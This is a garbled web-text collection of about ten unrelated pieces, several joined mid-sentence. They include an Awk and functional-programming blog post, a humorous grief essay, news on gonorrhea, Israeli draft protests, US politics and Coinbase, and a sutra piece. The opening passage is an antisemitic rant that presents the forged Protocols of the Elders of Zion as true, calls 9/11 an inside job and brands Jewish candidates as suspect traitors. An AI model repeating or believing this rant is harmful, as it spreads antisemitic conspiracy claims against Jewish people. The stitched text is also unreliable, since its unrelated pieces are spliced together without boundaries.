OUR WEAPONS ARE LIMITLESS AMBITIONS, BURNING GREEDINESS, MERCILESS VENGEANCE, HATRED AND MALICE" (#9).
We have a quisling government in America. Washington is the slave of World Zionism just as predicted in the Protocols. "ABUSES OF POWER WILL BE THE FINAL TOUCH IN PREPARING ALL INSTITUTIONS FOR OVERTHROW" (#3) and "SCATTER TO THE WINDS ALL EXISTING FORCES OF ORDER AND REGULATION" (#1). The American people have been conditioned for decades to submissiveness, like Pavlov's dogs, by the Zionist media and its subliminal messages. "PEOPLE LIVE AND ARE GUIDED BY IDEAS; WE SHALL CONFISCATE TO OUR USE THE LAST SCINTILLA OF INDEPENDENT THOUGHT. THE PURPOSE IS TO TURN THE GOYIM INTO UNTHINKING SUBMISSIVE BRUTES" (#16). The New York metropolitan area (25 millions) is overwhelmed by the Zionist media and its continuous lies and propaganda about war and terrorism. What about Chicago, Los Angeles, Atlanta, Dallas? "THROUGH THE PRESS WE HAVE GAINED THE POWER TO INFLUENCE WHILE REMAINING OURSELVES IN THE SHADE (#2). NOT A SINGLE ANNOUNCEMENT WILL REACH THE PUBLIC WITHOUT OUR CONTROL" (#12). Turn off all television news programs. It is poison. Let US drop the Zionist media in the toilet and flush these traitors out of America. Another "inside job" like September 11 "THE MOMENT OF ATTACK WILL BE KNOWN TO US AND WE WILL PROTECT OUR OWN" (#3). and America will be "locked down" in permanent martial law, the Patriot Acts, mass detentions in FEMA concentration camps and the end of all liberty in America. We will have lost for our children everything that our ancestors sacrificed for US. "THE END OF NATIONAL LIBERTY IS NEAR" (#19).
The Zionist media has marginalized all presidential candidates but two Zionist puppets. With "fixed" voting machines World Zionism cannot lose. This year, all Americans should vote, destroy the Republican Party together with all Zionists (most Jewish candidates are suspect). For Congress, vote for the other minorities who are under-represented, Women and African, Asian and Latino Americans. Voting machines must be auditable with reliable exit polls. Most important, redistribute the concentrated wealth with an annual tax of fifty percent of all personal wealth, income and property in excess of $5 Millions "WE HAVE CONCENTRATED WEALTH IN PRIVATE HANDS" (#20) and eliminate all wage taxes.
Under World Zionism, Zionists will go to the head of all lines in government, industry, education, employment, finance, entitlements; their certifications will have the force of law. The whole world will become like Palestine, Iraq and Afghanistan. "WE SHALL ERASE THE WORD "FREEDOM" FROM THE LEXICON OF LIFE" (#3). The stolen treasures of a zionazi war, the Ancient Tombs of Ur, are on exhibit in Philadelphia. Waco will be the norm. "OUR ABSOLUTISM WILL DESTROY TO THE ROOT ALL DISCONTENTS OF EVERY KIND BY PUNISHMENT OF AN EXEMPLARY CHARACTER. HE WHO WISHES TO KEEP HIS PLACE WILL HAVE TO GIVE BLIND OBEDIENCE (#15). WE ARE INTERESTED IN THE KILLING OUT OF THE GOYIM" (#3).
Without World Zionism there could be universal peace not war, no bankrupting militarism, full employment without wage taxation, no hunger, no poverty, no inflation, no depressions or financial crises, no public debt and little private debt, and the burden of taxation on excess income and wealth. "WE HAVE EUTOPIAN DREAMERS" (#9).
The world must come together to combat a common enemy. "THE NATIONS WILL NOT TAKE NOTE OF THEIR COMMON FOE (#4). WE HAVE SET ONE AGAINST ANOTHER, THE PERSONAL AND THE NATIONAL, RELIGIOUS AND RACE HATREDS WHICH WE HAVE FOSTERED INTO A HUGE GROWTH (#5). WE MUST CREATE FERMENTS, HOSTILITY AND DISCORD ON ALL CONTINENTS" (#7). Or else, "BOW THE KNEE BEFORE HIM WHO BEARS ON HIS FRONT THE SEAL OF THE PREDESTINATION OF MAN" (#23). The anti-Christ. And God help us!
Universal Images of Evil: Years ago, a little girl crying in the devastated rubble of Shanghai; today, a small boy shot through the neck in the rubble of Fallujah, his little schoolbag on his |
before cephalosporins.
"We were concerned about this 20 years ago and combated that very effectively," said Schaffner, explaining how gonorrhea treatments have evolved alongside the bacteria. "But if you have a strain that's completely resistant to antibiotics, you have to very quickly develop strategies to recognize the resistant strain and alternative treatment regimens."
Such tests and new treatments could be developed, Schaffner said, but they would likely be more expensive. Amid cutbacks across all facets of research, pharmaceutical companies are investing less in the quest for new antibiotics, he said.
With an estimated 700,000 new cases each year in the U.S. alone, gonorrhea is one of the most common STDs. It spreads through direct contact with the penis, vagina, mouth or anus, and can also be transmitted from mom to baby during delivery.
But only 50 percent of infected women and less than five percent of infected men develop symptoms, such as a burning sensation and discharge. Left untreated, the infection can spread to the skin, blood and other organs causing pain, infertility and even death.
A July 8, 2011, report from the U.S. Centers for Disease Control and Prevention urged doctors to be on the lookout for gonorrhea resistant to cephalosporins, and to report cases promptly.
The new superbug serves as a reminder that antibiotic resistance is a problem that spreads beyond hospital and nursing home walls.
"We need to implement a program so that pharmaceutical companies are motivated financially to pursue research in developing antibiotics," Schaffner said. "And both the public and professional have to be much more rigorous in their expectations and use of antibiotics."
Copyright 2011 ABC News RadioWASHINGTON — Democratic Sen. Chris Murphy Thursday said he is seriously concerned with the prospect of Donald Trump having access to classified intelligence information now that he is the presumptive GOP presidential nominee, warning Trump could use it for political gain.
Presidential candidates traditionally receive routine classified briefings from intelligence officials during the campaign. Normally that practice raises few eyebrows.
But the prospect of Trump and his team having access to sensitive intelligence information is a cause for concern to Murphy, a member of the Senate Foreign Relations Committee and an outspoken critic of Russian President Vladimir Putin.
Trump “has no moral or ethical grounding,” Murphy said, bluntly warning that, “he wouldn’t think twice of taking classified information and putting it out in the public realm if he thought it served his political purposes.”
Murphy said he also has particular concerns when it comes to Russia, arguing Trump is “living in a fantasy world” when it comes to his ability to work with Putin. Noting Trump’s often positive comments about the Russian strongman, Murphy quipped, “Megalomaniacs find each other, I guess. I suspect Trump looks at Putin and sees a lot of himself.”
But Murphy warned that despite Trump’s flippant insistence that he will can cut “great deals” with Putin, the Russian leader already seems to have the upper hand in dealing with Trump.
“You can just feel Putin reeling Trump in right now,” Murphy said, adding that, “Putin needs America as an enemy, but he’d like a much more pliant leader” like Trump.JERUSALEM — While U.S. President Donald Trump’s announcement to move the Israeli embassy from Tel Aviv to Jerusalem has dangerously fueled an international powder keg, another keg is burning in the heart of that city.
In an ongoing act of principled civil disobedience, the Ultra-Orthodox community in Jerusalem is standing strong in its resistance to serving in the Israeli army. Even as they are met with shocking police brutality, thousands of members of this community, known as the Hareidi community, chant and hold signs saying “we will not serve in your army.” Rabbi Hirsh in Jerusalem told me that the IDF is seen by the community as an army of occupation that wages needless wars and oppresses the Palestinian people.
Extreme Brutality by Israeli Police Extreme Brutality by Israeli PoliceJERUSALEMSunday, September 17, 2017A peaceful demonstration against the forced Israeli draft of religious men and yeshiva students was broken up with seldom-seen police brutality, extreme even for the usually brutal Israeli police – at least when they are interacting with the ultra-Orthodox.Several thousand ultra-Orthodox demonstrators gathered in the Meah Shearim neighborhood of Jerusalem on Sunday afternoon, to protest against the recent ruling of the Israeli supreme court that declared the military exemptions for religious Jews as unconstitutional. The ultra-Orthodox consider themselves conscientious objectors, as by Torah-law it is forbidden to even establish a Jewish state in the Holy Land before the coming of the messiah – and certainly to serve in its army and wage war against the nations. Until the recent ruling there had been a very limited exemption, albeit one being continuously curtailed.Sunday’s protest was also precipitated by the arrest of Abraham Kohn, a 23-year-old American citizen (and grandson of one of the elder, distinguished community rabbis) who arrived in Israel and was arrested at the airport for his failure to enlist in the Israeli army, although he lives in the US. He was sentenced to 20 days in prison, to include the Jewish high-holiday of Rosh Hashana.After hearing speeches from rabbis and community activists, the demonstrators proceeded to march through the streets, blocking traffic in numerous smaller thoroughfares. When the police moved in with water-cannons and mounted police to disperse the crowd, many lay down in the road in peaceful civil-disobedience. The police, however, despite being “civil servants” were far from peaceful. Reuters quotes police spokeswoman Luba Samri as saying that protesters blocked streets and threw stones at police officers. Video footage, however – again according to Reuters – “showed officers kicking, punching, and pushing” demonstrators; some were dragged and even thrown across the street. No videos have emerged showing any violence on the part of the protesters.Eight were arrested; many were injured – including at least three who required urgent medical attention. One 16-year-old student was admitted to the hospital in serious condition with a concussion and internal hemorrhaging; his condition was later downgraded to moderate, but he is still hospitalized.The justice department, in light of the videos and photographs so vividly showing the sadism and gleeful brutality, has agreed to open up an internal investigation. As per past experience, however, little hope is held for any justice against the “patriotic” Zionist police officers. Posted by Israel Versus Judaism on Tuesday, September 26, 2017
Twenty thousand members of the Hareidi community in Brooklyn, New York recently gathered to pray and protest in solidarity with their brethren in Jerusalem.
Watch | 20,000 ultra-Orthodox Jews protest Israeli draft law in Brooklyn
Who are the Hareidi? Why do they refuse?
The Hareidi communities around the world — including the one in Jerusalem, which has existed in the city’s neighborhood of Me’a Sha’arim for close to two hundred years — were opposed to the creation of a Jewish only state in historic Palestine, and today they stand in opposition to a new ruling forcing them to serve in the Israeli army.
From the early years of the 20th century, the major Rabbis who represented these communities fought hard to demonstrate that Zionism does not represent Judaism and that establishing a Jewish state in Palestine would only bring violence and instability, and in fact, contravenes Jewish law.
But their calls were not heeded and their warnings went largely disregarded the Zionist project went forward and the Jewish state was established.
When the State of Israel was established in 1948, the Hareidi community was faced with a reality in which, contrary to their wishes and beliefs, they became citizens of this new state.
For them, serving in the Israeli army was tantamount to sacrilege. The Israeli army is a completely secular institution and, although there is a chief Rabbi and some Jewish laws are loosely observed, it is an environment which no Hareidi Jew could survive without giving up his religious identity and way of life. The one main issue that is raised more than any other is the prohibition on waging war.
The Israeli government consequently decided that the Hareidi community would be exempt from the mandatory draft to which all other Israeli citizens were subjected.
Opposing perspectives
To secular Israelis who view themselves as modern, the Hareidi community seems backward and strange. One custom that angers Israelis is that on the Israeli day of independence the Hareidi neighborhoods regularly burn the Israeli flag. As one walks through Me’a Sha’arim neighborhood one can see many signs with Palestinian flags that say: “This is Palestine.”
Furthermore, there is a sense that, even though most members of the Hareidi community refuse to accept state services, they are nonetheless a burden on the state — that they are parasites who must be forced to “contribute” as all Israelis do.
Over the years the conscription of the Hareidi community became more and more politicized in Israeli secular circles, to the point where politicians began to feature it as a campaign promise, using the slogan “equal burden.” But it was a hollow promise because there was no real desire to open this Pandora’s box and alienate the Hareidi community, and it was a fight that the state knew it could not win. But the political pressure continued gradually to mount and what was merely a campaign slogan became a real threat to the status quo.
In 2014 Israel passed a law mandating that, under certain conditions, Hareidi boys would have to serve in the military. This was met with an impressive show of force by the community. Huge acts of nonviolent protest and civil disobedience erupted, bringing hundreds of thousands into the streets.
The main Rabbis of the community published a decree stating that any attempts to draft Hareidi men into the army were to be met with total and uncompromising refusal.
However, the 2014 law was found to be discriminatory and in 2017 the Israeli Supreme Court, agreeing that the law “that the law perpetuates inequality between secular youths who are required to enlist in the army and religious youth who are exempt,” struck down down the exemption altogether, placing this ball of fire in the hands of the state lawmakers who will need to decide how to deal with it.
Now the enforcement that everyone feared has begun. The Hareidi community not only rejects the State of Israel and its institutions, they are willing to be arrested and even killed rather than serve in the army of a state that has turned life in The Holy Land, Palestine, into a perpetual violent confrontation.
Countless videos posted on social media demonstrate the discipline with which this community has been protesting and engaging in civil disobedience. Actions include thousands conducting prayers in front of the military prison, thousands more gathered in the Me’a-Sha’arim neighborhood to protest against what they consider a violation of Jewish law, which forbids waging war against other nations. Police violence — which included water cannons, kicking and punching protesters, pushing and dragging the protesters from the road — resulted in many injured protesters requiring urgent medical attention.
“Deserters”
According to sources close to the community with whom I was able to speak in Jerusalem, as many as 30 young men are detained each month from among the Hareidi public, charged with evading the draft. The community refuses to cooperate with any mechanism related to the conscription, and will not even show up to what is called “First Summon,” where young men and women go through medical examinations and an interview to determine their ability to serve.
Representatives and activists of the Hareidi community told me of instances where abuse and violence were being directed by military prison officials towards Hareidi youth. These including torture, and cruel, inhumane and degrading treatment. Prisoners in the military jail are required to wear an army uniform, which they refuse to do; as punishment they are sent to solitary confinement, where they are even more vulnerable and exposed. The military prison is not equipped to serve the needs of the Hareidi life. This makes it impossible for them to eat and pray and observe the rituals of their faith.
In one reported case the commander of the solitary confinement wing strangled a detainee and smashed his head against the wall for not responding with “Yes, Sir.” Another report revealed that a detainee was strangled and pushed into a puddle of cold water in mid-December. In another case the jailers forced a young man’s clothes off and left him naked in the shower for other prisoners to see. Yet another detainee was handcuffed by two guards, attacked with tear gas and then pushed into a puddle of urine.
Another detainee was reportedly held in solitary confinement for over two weeks without being able to shower or change his clothes. He was also deprived of his rights to leave his cell for an hour a day, and receive phone calls and visits. Representatives of these detainees filed a complaint with the UN Working Group on Arbitrary Detention but so far have not heard back.
“There is a deep and worrisome misconception surrounding the Hareidi community,” I was told by Rabbi Feldman of Neturei Karta. “All too often one sees people point a finger at the image of the Hareidi Jew for being at the center of the injustice against Palestinians in Palestine, and that of course is wrong because we stand in opposition to Zionism and to the oppression of our Palestinian brothers and sisters.”
We would all do well to acknowledge that among the first to warn against the Zionist enterprise, and the ones who have stood against it the longest, are the members of Hareidi community, most notably Neturei Karta. Today — even as they face violence, beating and arrests — they stand firm in their commitment to their moral stance and refuse to serve in Israel’s army.Awk, Unix, and functional programming
The functional programming community does a poor job of explaining itself, judging from this recent lecture by Brian Kernighan, How to succeed in language design without really trying. At 13:45, Brian says that he doesn’t know much about functional languages, and that they are little used in the real world outside academia!
Brian is famous for inventing and explaining programming languages, and he spent many years at Bell Laboratories working around people like Dave MacQueen (Standard ML) and Phil Wadler (Haskell). How could this happen?
I guess I blame Wadler :-).
All is not lost, however. I think that Brian does understand functional programming, and he proves it in his own talk.
Two meanings of “functional”
Before getting to the example, I need to say that there are two very different meanings of “functional.” The “pure” functional languages, such as Haskell, use one meaning, and the “impure” or “imperative” functional languages, including LISP, Scheme, and ML, use another. This in itself is surely responsible for a great deal of confusion.
At any rate, in this post, I’m only going to be concerned with the meaning of functional as in LISP, Scheme, and ML. Haskell brings in additional issues (absence of side effects, lazy evaluation, monads) that would obscure my main point.
Awk is a functional program
Brian starts his talk with Awk, a programming language that he invented along with Al Aho and Peter Weinberger. At 3:23 he compares a C program with its Awk equivalent. The C program is about 16 lines long:
#include <stdio.h> #include <string.h> int main(void) { char line[1000], line2[1000]; char *p; double mag; while (fgets(line, sizeof(line), stdin)!= NULL) { strcpy(line2, line); p = strtok(line, "\t"); p = strtok(NULL, "\t"); p = strtok(NULL, "\t"); scanf(p, "%lf", &mag); if (mag > 6) /* $3 > 6 */ printf("%s", line2); } return 0; }
The Awk program, on the other hand, is a single line:
$3 > 6
Very nice. Awk in fact was designed to make many programs one-liners. Aho, Weinberger, and Kernighan noticed that many of the programs they were writing or saw others in the Unix world write had a similar structure, and they didn’t want programmers to have to write this “boilerplate.” So, in Awk, you would simply write the interesting part of the program, the action, which was often just a single line of code.
The boilerplate part was provided by Awk itself, and it has the following structure (21:20):
for each file for each input line for each pattern if pattern matches input line do the action
We can think of Awk as a program that takes as input one of these actions, builds a new program by combining the boilerplate with the action, and runs the new program to produce the output.
Any functional programmer will immediately tell you that this kind of situation is exactly what functional programming is for: Awk is a functional program. And in a functional programming language it would be written something like this:
Awk(action) = for each file for each input line for each pattern if pattern matches input line do action(fields)
That is, Awk is a function that takes a function (action) as an argument, and applies that function to the fields extracted from each matching line of input to produce each line of output.
This hinges on being able to separate out the action from the boilerplate, which requires functions to be able to accept functions as arguments—which is exactly what a functional programming language gives you. This is much harder to do in a language like C, which Awk is written in. So it is relatively hard to write Awk as, say, a library function in C; instead it is a compiled program of its own, that takes in an action as a text fragment, parses it, and so on.
(Notice that I’m not saying that Awk is a functional programming language; that’s not the case. Awk does not give you first-class functions. I’m saying that Awk itself can be thought of as an example of a functional program.)
Functional programming is just programming (with first-class functions)
It’s instructive to think about how Al, Peter, and Brian came up with the structure of Awk. They noticed a programming idiom (the boilerplate) that turned up in many programs, and they built Awk as a way of refactoring those programs so that the idiom could be implemented once, robustly and correctly, and did not have to be repeated in all of the programs. What was left of the programs (one line each) was easier to write, read, and understand.
It’s hard to think of anything that is more central to the practice of programming than this. The only thing that is different in this case from what millions of non-functional programmers do every day is that pulling out the Awk idiom requires the use of first-class functions.
Gerald Sussman expressed this beautifully in his foreword to Friedman’s The Little Lisper (1974):
“In Lisp, procedures are first-class data, to be passed as arguments, returned as values, and stored in data structures. This flexibility is valuable, but most importantly, it provides mechanisms for formalizing, naming, and saving the idioms—the common patterns of usage that are essential to engineering design.”
If the main idea of functional programming is so simple, then why is it so hard to understand? I think that it is because what I have described is just the first step on a long path that ends up in a very different place than the starting point. Someone who has learned how to use first-class functions in this way starts to see uses for it (idioms) that they could not see before.
In the words of Benjamin Whorf, as quoted by Brian in his lecture (18:19):
“Language shapes the way we think and determines what we can think about.”
(The emphasis is mine.)
Unix shell programming is functional programming
I want to close this post with one more example from Unix. In 1986, Jon Bentley wrote two Programming Pearls, here and here, in which he invited Don Knuth to help him introduce Knuth’s notion of Literate Programming. The second column presents Knuth’s literate programming solution to a challenge problem from Bentley:
Given a text file and an integer k, print the k most common words in the file (and the number of their occurrences) in decreasing frequency.
The first part of the column presented Knuth’s program, and the second part of the column consisted of a review of Knuth’s program by Doug McIlroy. (I always thought that this was an ambush, but I never did ask Bentley.)
McIlroy had some pointed criticisms of Knuth’s program, and offered up this 6-line alternative solution:
tr -cs A-Za-z'' | tr A-Z a-z | sort | sort -rn | sed ${1}q
McIlroy explains this on page 480 for those unfamiliar with Unix shell programming. He says:
The utilities employed in this trivial solution are Unix staples. They grew up over the years as people noticed useful steps that tended to recur in real problems. Every one was written first for a particular need, but untangled from the specific application.
(The emphasis is again mine.)
McIlroy, like the creators of Awk, and like Sussman, recognizes the central importance of discovering and “untangling” common idioms in programming. And he uses functional programming throughout his solution.
For one thing, consider that sed, like Awk, can be thought of as a function that takes a function as argument (the command/procedure ${1}q ), and applies it to each line of the standard input.
And Unix pipes (McIlroy’s invention) are functional through and through. The pipe operator, |, is a function that takes two functions as arguments and returns a function, their functional composition. For example in
tr A-Z a-z | sort
the first function argument is tr A-Z a-z (the output of the function is the same as the input, except that upper case letters are replaced by their lower case equivalent), and the second function argument sorts its input onto its output. So the return value tr A-Z a-z | sort is a function that first transliterates and then sorts its input.
This is pretty obvious if you have a functional programming background. So, naturally, the idea was explored in detail long ago; see for example the Scheme Shell, Scsh, from the early 1990s. And I’d bet it was done even earlier, in LISP. Possibly before Unix!
What about the real world?
I hope you agree that I have shown that functional programming is in fact used pervasively in the real world, if you consider Unix to be part of the real world.
It’s not hard to find other examples. Every programmer today knows MapReduce, whose creators say
Our abstraction is inspired by the map and reduce primitives present in Lisp and many other functional languages.
Or consider that the most widely used language in the world is probably Javascript, and Javascript is a functional language—Brendan Eich originally intended it to be “Scheme in the browser.” (Brendan talks about the history of Javascript in this podcast).
Nowadays, first-class functions are being added to many languages, so we may be seeing even more functional programming in the future. However, first-class functions alone do not make a programming language a functional language. I’ll leave that explanation for a later post.Joel and his mother.
Both my parents are hella dead. When I was 15 my dad died and I got six weeks off school. Last year my mom died and I got two weeks off work. Two weeks! Paid leave! On top of my annual vacation time! If my last remaining parent hadn't just died in semi-tragic circumstances, I would've been like: Damn, this is like winning the lottery.
Instead I spent a two weeks shaking hands with funeral directors and going to council buildings and filling out forms. Because here's the thing people tell you about both your parents dying: nothing. They tell you nothing. And there is loads of stuff to deal with. For example: What monetary value do you put on the gift you send to the neighbor who has a really faraway look in their eyes because they found your mother's corpse? I sent her a $85 beer basket. Is that appropriate? Is that too much? I don't know and neither does anyone else.
So, here's some stuff I've picked up after a year of being an orphan.
LOOKING AT THE CORPSES OF THE PEOPLE WHO MADE YOU IS QUITE WEIRD
Funeral directors have a lot of things to deal with—liquids, cavities, flicking through an eight-page pamphlet of somber flower arrangements and pretending any of it matters... But what I've noticed they have the most trouble with is making the corpses of your parents look like your actual parents.
Obviously, dead people look way different than living people. That is science. But what is the point of having a long conversation about how your dad wore his hair ("He combed it with a wet comb maybe once a decade?") or giving them a freezer bag full of your mom's actual makeup if they're just going to rouge and preen them up so they look like they were two casualties in an especially competitive drag queen dance battle?
Illustrations by James Burgess
YOU HAVE A LOAD OF CRAP YOU DON'T NEED
You never really think about how much crap you have in your mom’s house until you are forced to sit cross-legged on the floor sorting through it in those boring days between her death and her funeral. Here are just some of the things I found: a box of 95/96 Panini stickers, mainly of Paul McGrath; some shells from a vacation I don’t remember; a Dreamcast, a console that has not been played by a human being since about 1999; some binoculars with a swastika on them; and about a million pages torn out of the Times’ Saturday supplement with recipes printed on them. You are never going to make Mizeria. Throw all the non-Nazi stuff in the bin and start over.
YOU GET WAY FEWER DRINKS BOUGHT FOR YOU THAN YOU'D THINK JUST FOR TELLING PEOPLE YOU ARE AN ORPHAN
I've had like two drinks by virtue of my parents dying. I get more than that just for going to Pret for people at work.
BIRTHDAYS ARE DIFFERENT
You get way less stuff.
EASTER IS DIFFERENT
Had to buy my own six-pack of Creme Eggs this year.
CHRISTMAS IS DIFFERENT
I HAD TO COOK MY OWN TURKEY.
YOUR PARENTS HAD SOME DARK SECRETS
I liked my dad until the other day when, 12 years after his demise, I learned that he killed our dog. For clarity, he didn’t just lunge for her one day and strangle her with his hands. But he did have to quietly put a cushion over her face and push down because we couldn’t afford the vet and she was on the way out anyway. I had quite fond memories of my father before this. Now all I can think of is him, sobbing into the air, knees on a cushion, while Suzie convulsed beneath him. Which sofa cushion did he use to kill our dog? Why did they tell me she went peacefully? Who else has he killed?
So many questions. So many haunting questions.
Joel's father.
ASHES ARE INCREDIBLY DIFFICULT TO DISPOSE OF
We forgot dad was still around until we found a tub full of his dusty remains in the back of my sister’s wardrobe one year. What was left of the family decided to scatter them somewhere vaguely important. If you’re planning to do this, ask your parents now, while they are vital and healthy, where they want to be scattered. (Everyone has an opinion about where ashes should be strewn and all of them are wrong. We basically had to draw straws to decide.). Similarly, when you’re tiptoeing onto a golf course because a family vote decided that it was the most vaguely appropriate place we could think of, don’t do it on a grey, overcast, windy Sunday afternoon, because you’ll get dad on your trousers.
PICKING FUNERAL MUSIC WILL TAKE A WEEK OF YOUR LIFE
When my mom died, she had ten CDs in her possession: Lou Bega’s "Mambo No. 5" (CD single), Tom Jones’ Reload, a load of crap by U2, and the self-titled Jiggerypipery by Jiggerypipery. If you are wondering, Jiggerypipery put a fun new modern twist on the bagpipes. They are so bad at music, if played loud while preparing dinner, they will put you off your mac and cheese. Meanwhile, I can only assume my dad heard Rumours in 1977 and thought, Well, that’s me. No more music for me. I’m full, because that and Eric Clapton: Greatest Hits were the only two tapes he ever had in the car when I was a kid.
“I guess he liked… Miles… Davis?” We played Miles Davis.
“I guess… she… really liked 'Ass in the Graveyard' by Jiggerypipery?” We did not play "Ass in the Graveyard" by Jiggerypipery. Can you imagine what a roomful of mourners would say if you played an exceptionally real bagpipe solo while your mom was slowly being wheeled into a fiery inferno? Can you imagine being at a funeral, sobbing behind sunglasses, while someone played Jiggery-fucking-pipery? They would say things like, "You know what? Probably best she’s gone." And, "Actually, can’t really make it to the wake. I know you’ve just spent $500 on vol-au-vents. But, I can’t come because you just played bagpipe music." And you would have to understand. Instead we played—and I’m not even joking here—music from the South African apartheid musical Sarafina! The funeral:wake ratio was a good 60:40, and we were lucky to have that.
YOU WILL PUT ON WEIGHT
If the last person who told you "mince is not a meal" succumbed to liver cancer in July 2013, know that without their gentle chiding, you'll chunk up a good five pounds in a year.
LIVER TWINGES ARE MORTALLY TERRIFYING
My mother died of liver cancer and, after years of cider-shaped abuse, the same organ disintegrated inside my dad like a roll of toilet paper dropped in the toilet. So, it's safe to say livers are not exactly my friend. Try having an indigestion-type of pain in the middle of your torso after both your parents got George Best’d to death without thinking you are dying, too.
HOUSES, LIKE, DETERIORATE?
We have not been able to make the hot water in my mom's house work for six actual months and nobody can figure out why. Also, where does dust come from? Because it is everywhere. And there is a looming scent coming from the basement that nobody wants to talk about. Is that odor "death"?
THERE'S A LOAD OF THINGS YOU NEVER THOUGHT YOU'D MISS
Every summer when I was a kid, we would fill the trunk of the car with vacation stuff and go somewhere bleakly seaside-y for a week. And every single time without fail my dad would desperately get the shits in the early morning hours before a long drive. I'll never watch my mom shouting through a bathroom door before my dad emerges—sweating and spraying Glade—ever again. I'll never have to make a pot of tea for my mother while she smokes and furiously does a crossword while my dad searches the big drawer for some Imodium. And I'll never have to walk into a bathroom full of nervous vacation diarrhea smells. It’s weird what you miss.
YOU ARE AN ADULT NOW
Despite having the face, mind, and the body of a giant, flabby-round-the-edges child, I am technically an adult. I own a house. I am the one true heir to the entire Golby bloodline. I went for two (two.) entire meetings at the bank.
"So, hold on, let me get this straight," the bank manager is saying. "Both your parents are dead?"
"Yes."
"Both?"
"Yes."
"Did they both go at once, or—?"
"No."
"It's just—and I hope you don't mind me saying—you're really young for that."
Dude, I know. Give me an savings account and shut up.
“Because, like: you’re 27.”
“I know.”
“You are younger than me.”
“Yes.”
“And I still live with my parents.”
“Hmm.”
THERE'S SOMETHING QUITE STRANGE ABOUT SLEEPING IN YOUR FAMILY HOME WHEN YOU ARE COMPLETELY ALONE
When I say "quite strange" I mean "fucking terrifying." Save one of your dad’s golf clubs. You’ll want to keep it under your bed.
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Young Love Fucks Us UpFormer Rhode Island Gov. Lincoln Chafee urged the members of Hillary Clinton's failed 2016 campaign to "look in the mirror" after neglecting to own up to its faults over the past year.
Briefly a Democratic presidential candidate himself, Chafee condemned the "Clinton people" for blaming other people for Clinton's election loss to President Trump.
"It's been a year since the election and the Clinton people just haven't looked in the mirror over the course of this year," Chafee said on Fox News in an interview Saturday morning. "They've been blaming the Russians and everybody else, blaming Sen. Sanders. They've got to look in the mirror and say how could we, as a Clinton campaign, lose to a seemingly unelectable man?"
He added: "They're blaming everybody in sight."
Chafee opined that Russian interference in the election had little to do with its outcome.
"Find me 10 people in Wisconsin that voted for Donald Trump or for Hillary Clinton because of the Russians," he said. "I just don't think you'll find them. It was the e-mail controversy. It was the Clinton Foundation controversies; it was the speeches to Goldman Sachs controversies. It was the ethical issues; it was the arrogance. I just don't think it was the Russians."
Multiple U.S. intelligence agencies concluded in January that Russia was behind the hacking of emails of the Democratic National Committee and officials involved in Clinton's campaign. Chafee noted the multiple investigations, one federal probe headed by special counsel Robert Mueller and a handful of others in Congress, looking into Russian interference and whether the Trump campaign colluded with the Kremlin, but he stressed that he didn't think swayed most voters in critical swing states like Pennsylvania and Ohio.
Chafee also showered praise on former Democratic National Committee head Donna Brazile for the bombshell claims she made in her new memoir about, including how the Clinton team struck a deal with the DNC which she said looked like an "unethical" takeover.
"Three cheers for Donna Brazile. I like a truth teller and, yes, absolutely," he said. "There were only four of us that dared to challenge Hillary Clinton for the nomination, and we always thought that the fix was in with the DNC. I know I felt that way through the whole course of it and then even getting into some of the mainstream media." Dozens of members of Clinton's campaign have since pushed back on Brazile's claims.
He agreed with Brazile's assessment that while the DNC-Clinton relationship looked unethical, it probably was not illegal.
Chafee also placed a great deal of confidence in Sen. Bernie Sanders, I-Vt., who ran a competitive campaign against Clinton, but ultimately lost to Clinton for the nomination.
"I think he would have won. I believe he would be the president if he was our nominee," he said.
.@LincolnChafee: "Only 4 of us who dared challenge @HillaryClinton... & we always thought that the fix was in with the @DNC." pic.twitter.com/zN46ccyrES— Fox News (@FoxNews) November 11, 2017
Chafee is considering another run for governor in his home state of Rhode Island in 2018, but has not committed to it yet. "I have to think about all that," he said about participating in a possibly contentious Democratic primary during an interview Monday on "The Tara Granahan Show" on WPRO-AM.
Chafee served as the governor of Rhode Island from 2011 to 2015. He previously served as a Republican U.S. senator from Rhode Island until 2007. He was elected as governor as an independent before switching to the Democratic Party in 2013.
Editor's note: The story has been updated to correct Chafee's party history.Coinbase has received approval from New York financial regulators to offer trading of the digital currency ether, along with other products.
The San Francisco-based exchange also received permission to offer trading of the digital currency Litecoin and to offer a debit card service called Shift Card, the New York State Department of Financial Services announced Wednesday.
Ether is the cryptocurrency associated with the Ethereum blockchain. Litecoin is an alternative virtual currency to bitcoin.
In January, the regulator granted Coinbase a virtual currency and money transmitter license, known as a BitLicense.
Maria Vullo, superintendent of the New York agency, used the Coinbase approval to reiterate her stance that state regulators are in the best position to provide oversight to the fintech industry. The Office of the Comptroller of the Currency has proposed creating a charter for fintech companies.
“New York will remain steadfast in pushing back against federal encroachment efforts like the OCC’s proposal to impose a one-size-fits-all national bank charter that increases risk and seeks to usurp state sovereignty,” Vullo said in a press release.Many people have their own life milestones whether that be in pursuit of their dream promotion, house or spouse. Continuously getting passed for the particular promotion or meeting the wrong spouse can be attributed one’s negative sins. One way to reduce this negative karma is through the recitation of sutras to create a smoother path to one’s goals.
Throughout history many Buddhist scriptures have been passed down through generations similarly like the Bible. However in Buddhism there are many scriptures developed from a variety of Buddhas. Many of these scriptures are interpreted in the form of sutras. Each sutra have their own benefits and maybe used accordingly to wish for their respective wishes.
The High King Kuan Yin Sutra is a very powerful, sutra upon reading it with sincerity and diligence, the sutra can bestow great benefits. These benefits as depicted by the sutra include longevity, good fortune, eradication of heavy sins, alleviating suffering in a fatal crisis etc
The origins of the sutra go back to the Five Dynasties period (907–960), a leader of Hsiang named High Pleasure. A treasury official at the time named Sun-Jin-Deh was charged with a serious crime however textual research |
a shot to the chest, he didn’t hesitate.
While shooting his rifle to suppress the enemy attack, Petty Officer 3rd Class Jonathan Kong rushed into the open under heavy machine gun fire to retrieve the Marine and administer life-saving medical care.
The former Navy hospital corpsman “courageously fought through an enemy ambush to save the life of a wounded Marine,” on June 13, 2011 in Sangin, Afghanistan, the Marine Corps announced.
Doc gets Silver Star
For his heroic achievement, Kong was awarded the Silver Star, the nation’s third-highest medal for valor in combat, during a ceremony Friday afternoon at Camp Pendleton.
In brief remarks on the 5th Marine Regiment parade deck, Kong told guests he didn’t feel he deserved the award.
“Honestly, these other corpsmen out here… I was with them in Afghanistan and I know for a fact if they were in my shoes they would have done the same thing. If I was the one laying on my back, someone else would be dragging me behind the wall,” he said.
Silver Star for Doc who fought to save Marine Silver Star for Doc who fought to save Marine SEE MORE VIDEOS
